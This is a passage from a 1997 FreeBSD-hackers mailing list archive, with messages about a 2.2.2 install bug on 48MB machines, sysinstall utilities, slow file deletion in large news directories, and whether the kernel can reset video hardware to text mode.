PCI bus 0: Let's see: 49152 /1024 = 48. This bug must have crept in after the CD was burned. -- Paul F. Wells 627 Heather Drive Lithia Springs, GA 30122 +1 770 941 5810 From owner-freebsd-hackers Thu Aug 14 16:27:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20728 for hackers-outgoing; Thu, 14 Aug 1997 16:27:22 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20706 for ; Thu, 14 Aug 1997 16:27:13 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id QAA02758; Thu, 14 Aug 1997 16:28:09 -0700 (PDT) Message-Id: <199708142328.QAA02758@implode.root.com> To: "Paul F. Wells" cc: Michael Smith , ksmm@cybercom.net (The Classiest Man Alive), freebsd-hackers@FreeBSD.ORG Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-reply-to: Your message of "Thu, 14 Aug 1997 18:12:21 EDT." <28333.871596741@wellserv.com> From: David Greenman Reply-To: dg@root.com Date: Thu, 14 Aug 1997 16:28:09 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> There is a bizarre bug in the 2.2.2-RELEASE kernel that causes a fatal >> trap if and only if you have 48M of memory. If you have 32, 40, 56, >> 64M or anything else, it works fine, but 48M is fatal. >> >> You can either remove some memory for the install, or (preferably) >> install a later snapshot of the 2.2-STABLE tree from releng22.freebsd.org >> > ... >Let's see: 49152 /1024 = 48. This bug must have crept in after the CD >was burned. We think it has something to do with the kernel decompression code that is part of the specially constructed installation floppy, so things should be fine after you get the software installed. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Thu Aug 14 16:48:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA21907 for hackers-outgoing; Thu, 14 Aug 1997 16:48:18 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA21900 for ; Thu, 14 Aug 1997 16:48:10 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id JAA21991; Fri, 15 Aug 1997 09:14:18 +0930 (CST) From: Michael Smith Message-Id: <199708142344.JAA21991@genesis.atrad.adelaide.edu.au> Subject: Re: Shared libs In-Reply-To: <199708141517.SAA00697@bcs3.bcs.zaporizhzhe.ua> from Sergey Shkonda at "Aug 14, 97 06:17:41 pm" To: serg@bcs.zp.ua (Sergey Shkonda) Date: Fri, 15 Aug 1997 09:14:18 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sergey Shkonda stands accused of saying: > How shared libraries working ? > (loading 1'st prog, loading next prog, sharing code and data segments ) 'man 5 link', and read the kernel *_exec modules. > Sergey Shkonda (serg@bcs.zaporizhzhe.ua) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Aug 14 16:51:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA22100 for hackers-outgoing; Thu, 14 Aug 1997 16:51:07 -0700 (PDT) Received: from obiwan.psinet.net.au (obiwan.psinet.net.au [203.19.28.59]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA22095 for ; Thu, 14 Aug 1997 16:51:03 -0700 (PDT) Received: from localhost (adrian@localhost) by obiwan.psinet.net.au (8.8.5/8.8.5) with SMTP id HAA10048 for ; Fri, 15 Aug 1997 07:20:28 +0800 (WST) Date: Fri, 15 Aug 1997 07:20:28 +0800 (WST) From: Adrian Chadd To: freebsd-hackers@freebsd.org Subject: Splitting up sysinstall for some user services.. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi. I was installing 2.2.2-R again yesterday, and I out of sheer boredom started poking around some of post-install options, like adding users/groups. Now, I've looked at the perl4 "adduser" script, and then the "useradd" and "groupadd" part of sysinstall, and I kinda liked the latter in terms of easiness to use. :) So I was thinking, wouldn't these utilities be good by themselves without sysinstal needing to be run? I don't plan on "breaking" up sysinstall into little modules, I was thinking more along the lines of symlinking "adduser", "addgroup", "deluser" (I suppose you'd need that too :), "pkg_add", "diskedit", etc.. to the sysinstall binary. It would then check its argv[0] and if its one listed, jump straight there and exit afterwards. I for one practically ALWAYS use sysinstall to partition/slice up new disks. Also - is sysinstall meant to edit rc.conf? Its probably been answered before, but I've noticed when the machine reboots, it doesn't know anything about its network configuration that I gave it a while back. Comments? If noone has any significant objections I'll start the mods tonight and hopefully have something I can show for it by the weekend. -- Adrian Chadd | "Unix doesn't stop you from doing | stupid things because that would | stop you from doing clever things" From owner-freebsd-hackers Thu Aug 14 17:55:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA25794 for hackers-outgoing; Thu, 14 Aug 1997 17:55:14 -0700 (PDT) Received: from obiwan.psinet.net.au (obiwan.psinet.net.au [203.19.28.59]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA25789 for ; Thu, 14 Aug 1997 17:55:10 -0700 (PDT) Received: from localhost (adrian@localhost) by obiwan.psinet.net.au (8.8.5/8.8.5) with SMTP id IAA10189; Fri, 15 Aug 1997 08:23:14 +0800 (WST) Date: Fri, 15 Aug 1997 08:23:14 +0800 (WST) From: Adrian Chadd To: David Greenman cc: "Paul F. Wells" , Michael Smith , The Classiest Man Alive , freebsd-hackers@FreeBSD.ORG Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-Reply-To: <199708142328.QAA02758@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997, David Greenman wrote: > >Let's see: 49152 /1024 = 48. This bug must have crept in after the CD > >was burned. > > We think it has something to do with the kernel decompression code that > is part of the specially constructed installation floppy, so things should > be fine after you get the software installed. I just used a 2.2.1-REL install disk to install 2.2.2-REL on a machine with 48mb (I didn't know about bug at the time). Upon reboot, the 2.2.2-REL kernel worked like a charm. -- Adrian Chadd | "Unix doesn't stop you from doing | stupid things because that would | stop you from doing clever things" From owner-freebsd-hackers Thu Aug 14 18:22:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA27272 for hackers-outgoing; Thu, 14 Aug 1997 18:22:10 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA27267 for ; Thu, 14 Aug 1997 18:22:06 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id SAA02981; Thu, 14 Aug 1997 18:21:03 -0700 (PDT) To: "Paul F. Wells" cc: Michael Smith , ksmm@cybercom.net (The Classiest Man Alive), freebsd-hackers@FreeBSD.ORG Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-reply-to: Your message of "Thu, 14 Aug 1997 18:12:21 EDT." <28333.871596741@wellserv.com> Date: Thu, 14 Aug 1997 18:21:03 -0700 Message-ID: <2978.871608063@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Let's see: 49152 /1024 = 48. This bug must have crept in after the CD > was burned. No, it just doesn't bite _everyone_, but when it does, it's invariably a 48MB scenario. And people REALLY REALLY REALLY need to get into the habit of reading the errata (see http://www.freebsd.org/releases). We've answered a lot of the same questions from the errata only 20 or 30 times in the last week or so. :-( Jordan P.S. Yes, I even announced the presence of the errata information several times and it did no good at all. :( From owner-freebsd-hackers Thu Aug 14 18:29:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA27749 for hackers-outgoing; Thu, 14 Aug 1997 18:29:58 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA27744 for ; Thu, 14 Aug 1997 18:29:55 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id SAA03071; Thu, 14 Aug 1997 18:29:43 -0700 (PDT) To: Adrian Chadd cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Splitting up sysinstall for some user services.. In-reply-to: Your message of "Fri, 15 Aug 1997 07:20:28 +0800." Date: Thu, 14 Aug 1997 18:29:43 -0700 Message-ID: <3068.871608583@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > So I was thinking, wouldn't these utilities be good by themselves without > sysinstal needing to be run? I don't plan on "breaking" up sysinstall into Actually, I'm strongly headed towards removing them from sysinstall again - this was a bogus evolutionary direction to go in, and I know that now. ;-) > Also - is sysinstall meant to edit rc.conf? Its probably been answered > before, but I've noticed when the machine reboots, it doesn't know > anything about its network configuration that I gave it a while back. Hmmm - strange. Yes, it's definitely meant to and seems to do so just fine in my tests. Jordan From owner-freebsd-hackers Thu Aug 14 18:57:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA29235 for hackers-outgoing; Thu, 14 Aug 1997 18:57:59 -0700 (PDT) Received: from smoke.marlboro.vt.us (smoke.marlboro.vt.us [198.206.215.91]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA29228 for ; Thu, 14 Aug 1997 18:57:55 -0700 (PDT) Received: (from cgull@localhost) by smoke.marlboro.vt.us (8.8.7/8.8.7/cgull) id VAA00627; Thu, 14 Aug 1997 21:57:37 -0400 (EDT) Date: Thu, 14 Aug 1997 21:57:37 -0400 (EDT) Message-Id: <199708150157.VAA00627@smoke.marlboro.vt.us> From: john hood MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "SimsS@IBM.Net" Cc: "'john hood'" , "Jordan K. Hubbard" , "freebsd-hackers@FreeBSD.ORG" Subject: RE: FreeBSD --- ALPHA In-Reply-To: <01BCA8AC.153705A0.SimsS@IBM.Net> References: <01BCA8AC.153705A0.SimsS@IBM.Net> X-Mailer: VM 6.31 under Emacs 19.34.2 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Steve Sims writes: > Man, I sort of hate to do this, but John's .sig is just too good for me to let pass... > > On Wednesday, August 13, 1997 1:13 PM, john hood [SMTP:cgull@smoke.marlboro.vt.us] wrote: > > Predictably, they all eventually wandered away, rubbing their bruises > > and brushing mud out of their hair. Some went off to work for the > > ESA, launching much smaller rockets into low orbits, while others > > elected to sit on their front porches drinking Jim Beam from the > > bottle and launching bottle rockets from the empties. [Jordan Hubbard] > > Who can point me to the full message from which this JKH classic is quoted - I *gotta* see what the heck this was in reference to..... > > (A quick search of the mail archives turned up nothing...) I *have* to pick duller quotes. You're about the sixth person to ask me this. The answer: http://owl.org/pub/cgull/starBSD/jkh-rant.txt It's in the mail archives, too. --jh -- John Hood cgull@smoke.marlboro.vt.us Predictably, they all eventually wandered away, rubbing their bruises and brushing mud out of their hair. Some went off to work for the ESA, launching much smaller rockets into low orbits, while others elected to sit on their front porches drinking Jim Beam from the bottle and launching bottle rockets from the empties. [Jordan Hubbard] From owner-freebsd-hackers Thu Aug 14 19:24:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA00659 for hackers-outgoing; Thu, 14 Aug 1997 19:24:08 -0700 (PDT) Received: from emout14.mail.aol.com (emout14.mx.aol.com [198.81.11.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA00654 for ; Thu, 14 Aug 1997 19:24:05 -0700 (PDT) From: StevenR362@aol.com Received: (from root@localhost) by emout14.mail.aol.com (8.7.6/8.7.3/AOL-2.0.0) id WAA15033; Thu, 14 Aug 1997 22:23:30 -0400 (EDT) Date: Thu, 14 Aug 1997 22:23:30 -0400 (EDT) Message-ID: <970814222009_-2074127211@emout14.mail.aol.com> To: SimsS@ibm.net cc: freebsd-hackers@freebsd.org Subject: Re: FreeBSD --- ALPHA Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In a message dated 97-08-14 13:12:21 EDT, SimsS@IBM.Net writes: > > Man, I sort of hate to do this, but John's .sig is just too good for me to > let pass... > > On Wednesday, August 13, 1997 1:13 PM, john hood [SMTP:cgull@smoke.marlboro. > vt.us] wrote: > > Predictably, they all eventually wandered away, rubbing their bruises > > and brushing mud out of their hair. Some went off to work for the > > ESA, launching much smaller rockets into low orbits, while others > > elected to sit on their front porches drinking Jim Beam from the > > bottle and launching bottle rockets from the empties. [Jordan Hubbard] > > Who can point me to the full message from which this JKH classic is quoted - > I *gotta* see what the heck this was in reference to..... > > (A quick search of the mail archives turned up nothing...) > > Thanks! > > ....sjs... > Somebody should repost the J. Monroy and the motorcycle cowlings post too. I still chuckle over that one. Steve From owner-freebsd-hackers Thu Aug 14 20:08:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA02608 for hackers-outgoing; Thu, 14 Aug 1997 20:08:12 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA02567 for ; Thu, 14 Aug 1997 20:08:06 -0700 (PDT) Message-Id: <199708150308.UAA02567@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA219604469; Fri, 15 Aug 1997 13:07:49 +1000 From: Darren Reed Subject: Re: Archive Python tape drive, 2.1.7 & 1522g To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Fri, 15 Aug 1997 13:07:49 +1000 (EST) Cc: avalon@coombs.anu.edu.au, hackers@FreeBSD.ORG In-Reply-To: <199708141535.BAA20965@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Aug 15, 97 01:05:32 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In some mail from Michael Smith, sie said: > > Darren Reed stands accused of saying: > > at work we've dug up two Archive Pyhton tape drives: > > 25588-XXX 2.96 > > 28388-XXX 5.45 > > > > both are scanned successfully by FreeBSD 2.1.7 at boot time, but any > > attempt to access the drive goes nowhere. Not even "mt -f status" > > works. > > Could you perhaps proffer the boot-time probe messages? yup: Aug 13 10:48:56 taranis /kernel: (aic0:4:0): "ARCHIVE Python 25588-XXX 2.96" typ e 1 removable SCSI 2 Aug 13 10:48:56 taranis /kernel: st0(aic0:4:0): Sequential-Access density code 0 x13, 512-byte blocks, write-enabled (DIP switches enable SCSI-2 & Parity, Self test = off, reserved = off) and then later: Aug 14 12:28:07 taranis /kernel: (aic0:4:0): "ARCHIVE Python 28388-XXX 5.45" typ e 1 removable SCSI 2 Aug 14 12:28:07 taranis /kernel: st0(aic0:4:0): Sequential-Access density code 0 x13, drive empty term power off, term off From owner-freebsd-hackers Thu Aug 14 21:50:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA06796 for hackers-outgoing; Thu, 14 Aug 1997 21:50:38 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA06790 for ; Thu, 14 Aug 1997 21:50:35 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA00074; Fri, 15 Aug 1997 00:50:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Fri, 15 Aug 1997 00:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id AAA00276 for ; Fri, 15 Aug 1997 00:37:14 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id AAA00284 for freebsd-hackers@freefall.cdrom.com; Fri, 15 Aug 1997 00:11:40 -0400 (EDT) Date: Fri, 15 Aug 1997 00:11:40 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708150411.AAA00284@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers Subject: Another data point in the slow "rm"s (2.1.7 is *much* faster.) Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ok - I've got another interesting item to add. It doesn't seem to matter if you mount the file system async; the rm's appear to be chugging along at just one every 3 to 5 seconds... It seems to be unlinking the files; then seeking someone (the superblock?) and writing something, then seeking back and unlinking the next file, etc... Also - I'm down to about 400 files - it's still taking quite some time... (at 3 to 5 seconds per unlink, with ~20,000 files to remove... well... you get the idea.) Now; and here's the real killer... I booted a 2.1.7 floppy & went to the fixit screen... (exact same machine, just booted a different kernel...) I was able to delete the remaining 300+ files in less than 3 seconds!! Something is *definately* going on in 2.2.1+ that makes unlinking files *very* slow... This is likely what causes my news expiration times to be prohibitive... - Dave Rivers - From owner-freebsd-hackers Thu Aug 14 21:50:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA06806 for hackers-outgoing; Thu, 14 Aug 1997 21:50:39 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA06789 for ; Thu, 14 Aug 1997 21:50:35 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA00058; Fri, 15 Aug 1997 00:50:02 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Fri, 15 Aug 1997 00:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id XAA01801 for ; Thu, 14 Aug 1997 23:34:03 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id XAA08397 for freebsd-hackers@freefall.cdrom.com; Thu, 14 Aug 1997 23:23:07 -0400 (EDT) Date: Thu, 14 Aug 1997 23:23:07 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708150323.XAA08397@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers Subject: More info on slow "rm" times with 2.2.1+. Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ok - I've (at last) replaced the 8meg 386 with a 24meg 486dx2-66. So, I expected to be able to simply mount that same file system, and quickly remove the files in /usr/spool/news/control. However - things are not going any faster... I have determined that it's not the argument processing; I can simply pick a single file to remove; issue: rm file and it takes upwards of 3 to 5 seconds and a *slew* of disk activity to accomplish the task... (recall, this is a miserable little IDE drive as well.. the 'rm' spends a lot of its time in biowait.) What I'm looking at now is a directory full of about 20,000 files, each of which is around 1024 bytes... (should be readily reproducible.) Then, simply pick a file to remove & wait... It appears to me that the remove is rewritting the entire directory structure (probably spanning more than one inode, since the file names are 7 bytes each - 20,000 * 7 is a few bytes :-) :-) Is this the case - and if so, is my achingly slow IDE I/O the real cause of the bottleneck in getting this data rewritten, or has something else happened in this area in 2.2.x? - Thanks - - Dave Rivers - p.s. We'll see what this 486 does to the "daily panics" when I can get news running again... From owner-freebsd-hackers Thu Aug 14 22:30:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA09054 for hackers-outgoing; Thu, 14 Aug 1997 22:30:27 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA09049 for ; Thu, 14 Aug 1997 22:30:25 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id WAA12760; Thu, 14 Aug 1997 22:32:14 -0700 (PDT) Message-Id: <199708150532.WAA12760@implode.root.com> To: Thomas David Rivers cc: freebsd-hackers@freebsd.org Subject: Re: More info on slow "rm" times with 2.2.1+. In-reply-to: Your message of "Thu, 14 Aug 1997 23:23:07 EDT." <199708150323.XAA08397@lakes.dignus.com> From: David Greenman Reply-To: dg@root.com Date: Thu, 14 Aug 1997 22:32:14 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > However - things are not going any faster... > > I have determined that it's not the argument processing; I can >simply pick a single file to remove; issue: > > rm file > >and it takes upwards of 3 to 5 seconds and a *slew* of disk >activity to accomplish the task... (recall, this is a miserable >little IDE drive as well.. the 'rm' spends a lot of its time >in biowait.) The answer to this is that FreeBSD, like many (most?) other operating systems, doesn't handle very large directories very well. When I was looking into similar slowness on a different news server, I found that the control.cancel newsgroup directory was more than 10MB large! I think it contained more than 200,000 files, but I don't recall the exact number. Anyway, my solution was to add this to news' cron: 0 * * * * rm -rf /var/news/control/cancel > /dev/null 2>&1 ; rm -f /var/news/over.view/control/cancel/.overview I tried hard to prevent INN from creating files there in the first place, but was unsuccessful. FWIW, I also disabled cancel processing on this machine because cancel spam was trying to delete everything. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Thu Aug 14 22:30:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA09111 for hackers-outgoing; Thu, 14 Aug 1997 22:30:55 -0700 (PDT) Received: from suntan.tandem.com (suntan.tandem.com [192.216.221.8]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA09097 for ; Thu, 14 Aug 1997 22:30:53 -0700 (PDT) From: grog@lemis.com Received: from papillon.lemis.com by suntan.tandem.com (8.6.12/suntan5.970212) id WAA13971; Thu, 14 Aug 1997 22:30:45 -0700 Received: (grog@localhost) by papillon.lemis.com (8.8.4/8.6.12) id RAA00646; Thu, 14 Aug 1997 17:37:38 +0900 (JST) Message-Id: <199708140837.RAA00646@papillon.lemis.com> Subject: Re: reset screen hardware? In-Reply-To: <199708130318.MAA11651@genesis.atrad.adelaide.edu.au> from Michael Smith at "Aug 13, 97 12:48:19 pm" To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Thu, 14 Aug 1997 17:37:34 +0900 (JST) Cc: hackers@freebsd.org (FreeBSD Hackers) Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Michael Smith writes: > Alfred Perlstein stands accused of saying: >> I'm not familiar with the protection mechanism in freebsd, if i wrote a >> program to reset the text screens by programming the ports what kind of >> skeleton code would it need? > > It wouldn't work. Why not? The X server does just that. Sure, before it starts, it does a lot of checking, but that's relatively recent. Just a few years ago, you had to tell the X server what your board was. And if you were wrong, to quote you: > You would, in fact, stand a reasonable chance of producing a program > which would be able to destroy utterly older monitors and many LCD > panels. Yes, you're right about the consequences. But your conclusions are wrong. This is, in other words, an argument why X can't work on PCs. >> Btw, there are interupts that point to tables of data that is put into >> the videocard to set various modes, could the kernel save the data before >> it switches to protected mode? > > Different cards have different register sets. There is no structure > in a video card BIOS that describes the data and the registers in such > a fashion that you can manipulate them without first knowing what the > card is. Yes, of course, of course, and we've all been through this dozens of times before. Having to tell your system what kind of board(s) it has stinks, but IMO it's still better than having a panic and not being able to enter the debugger because the bugger is still in graphics mode. Alfred: Mike's right. It's a pain, and also a can of worms. But he's wrong when he says it can't be done. If you want to do yourself and everybody else a service, investigate the probe and reset code in XFree86 and figure out how to cannibalize it to save the board state (it makes sense to have this done during boot at probe time) and create an ioctl to use this information to reset to text mode. Greg From owner-freebsd-hackers Thu Aug 14 23:27:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA11364 for hackers-outgoing; Thu, 14 Aug 1997 23:27:26 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA11358 for ; Thu, 14 Aug 1997 23:27:22 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id IAA17998; Fri, 15 Aug 1997 08:27:13 +0200 (MEST) From: Søren Schmidt Message-Id: <199708150627.IAA17998@sos.freebsd.dk> Subject: Re: reset screen hardware? In-Reply-To: <199708140837.RAA00646@papillon.lemis.com> from "grog@lemis.com" at "Aug 14, 97 05:37:34 pm" To: grog@lemis.com Date: Fri, 15 Aug 1997 08:27:13 +0200 (MEST) Cc: msmith@atrad.adelaide.edu.au, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to grog@lemis.com who wrote: > > Alfred: Mike's right. It's a pain, and also a can of worms. But he's > wrong when he says it can't be done. If you want to do yourself and > everybody else a service, investigate the probe and reset code in > XFree86 and figure out how to cannibalize it to save the board state > (it makes sense to have this done during boot at probe time) and > create an ioctl to use this information to reset to text mode. I can be done, sure, but it will NEVER get into the official kernel like that, I'll fight that tooth and nail. We wont have hundreds of K's of code like that in kernel space. There is hope however, there is work underways to do this via the video BIOS, and that's a totally different story... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Thu Aug 14 23:48:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA12432 for hackers-outgoing; Thu, 14 Aug 1997 23:48:20 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA12425 for ; Thu, 14 Aug 1997 23:48:16 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id QAA24933; Fri, 15 Aug 1997 16:18:08 +0930 (CST) From: Michael Smith Message-Id: <199708150648.QAA24933@genesis.atrad.adelaide.edu.au> Subject: Re: reset screen hardware? In-Reply-To: <199708140837.RAA00646@papillon.lemis.com> from "grog@lemis.com" at "Aug 14, 97 05:37:34 pm" To: grog@lemis.com Date: Fri, 15 Aug 1997 16:18:07 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk grog@lemis.com stands accused of saying: > Michael Smith writes: > > Alfred Perlstein stands accused of saying: > >> I'm not familiar with the protection mechanism in freebsd, if i wrote a > >> program to reset the text screens by programming the ports what kind of > >> skeleton code would it need? > > > > It wouldn't work. > > Why not? The X server does just that. Sure, before it starts, it > does a lot of checking, but that's relatively recent. Just a few > years ago, you had to tell the X server what your board was. And if In many cases, you still do. Regardless, you are missing the point. Alf wants to use the "standard" VGA registers to effect the return to "normal" text mode. This will not work. > Alfred: Mike's right. It's a pain, and also a can of worms. But he's > wrong when he says it can't be done. If you want to do yourself and > everybody else a service, investigate the probe and reset code in > XFree86 and figure out how to cannibalize it to save the board state > (it makes sense to have this done during boot at probe time) and > create an ioctl to use this information to reset to text mode. ... and then write about thirty or so LKMs to cover the major video chipsets in small enough chunks, and watch your code rot because nobody in their right mind would use it. No, Soren is right; the only way that this is going to happen is to use the BIOS on the card. > Greg -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Fri Aug 15 02:42:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA17998 for hackers-outgoing; Fri, 15 Aug 1997 02:42:51 -0700 (PDT) Received: from tyree.iii.co.uk (tyree.iii.co.uk [193.117.77.66]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA17992 for ; Fri, 15 Aug 1997 02:42:45 -0700 (PDT) Received: from carrig.strand.iii.co.uk (carrig.strand.iii.co.uk [192.168.7.25]) by tyree.iii.co.uk (8.8.4/8.8.4) with ESMTP id KAA29688; Fri, 15 Aug 1997 